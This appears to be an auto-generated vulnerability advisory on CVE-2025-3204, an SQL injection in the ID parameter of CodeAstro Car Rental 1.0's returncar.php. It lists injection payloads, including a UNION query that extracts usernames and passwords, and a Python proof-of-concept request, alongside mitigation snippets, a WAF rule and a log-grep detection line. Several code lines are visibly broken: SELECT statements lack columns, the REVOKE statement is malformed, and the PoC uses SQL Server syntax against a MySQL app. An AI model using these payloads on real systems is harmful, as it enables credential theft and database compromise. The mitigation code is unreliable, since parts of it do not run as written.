How CVE-2025-3204 Works
The vulnerability exists in `/returncar.php` where the `ID` parameter is improperly sanitized before being used in SQL queries. Attackers can inject malicious SQL payloads through this parameter, leading to unauthorized database access, data manipulation, or complete system compromise. The flaw stems from missing input validation, allowing direct concatenation of user-supplied input into SQL statements. Remote exploitation is possible without authentication, making this a critical threat.
DailyCVE Form:
Platform: CodeAstro Car Rental
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/03/2025
What Undercode Say:
Exploitation:
1. Payload Injection:
GET /returncar.php?ID=1' OR 1=1-- HTTP/1.1
2. Database Enumeration:
ID=1' UNION SELECT 1,2,3,4,table_name FROM information_schema.tables--
3. Data Exfiltration:
ID=1' UNION SELECT 1,username,password,4 FROM users--
Protection:
1. Input Sanitization:
$id = mysqli_real_escape_string($conn, $_GET['ID']);
2. Prepared Statements:
$stmt = $conn->prepare("SELECT FROM cars WHERE id = ?");
$stmt->bind_param("i", $_GET['ID']);
3. WAF Rules:
location ~ .php$ {
modsecurity_rules 'SecRule ARGS "@detectSQLi" deny';
}
Detection & Mitigation:
- Log Analysis:
grep -i "union.select" /var/log/apache2/access.log
- Patch Verification:
diff /var/www/html/returncar.php patched_returncar.php
- Database Hardening:
REVOKE ALL PRIVILEGES ON . FROM 'webuser'@'%';
Exploit Code (PoC):
import requests url = "http://target/returncar.php?ID=1' AND 1=CONVERT(int,@@version)--" response = requests.get(url) print(response.text)
Mitigation Code:
// Replace vulnerable code with PDO
$pdo = new PDO("mysql:host=localhost;dbname=rental", "user", "pass");
$stmt = $pdo->prepare("SELECT FROM returns WHERE id = :id");
$stmt->execute(['id' => $_GET['ID']]);
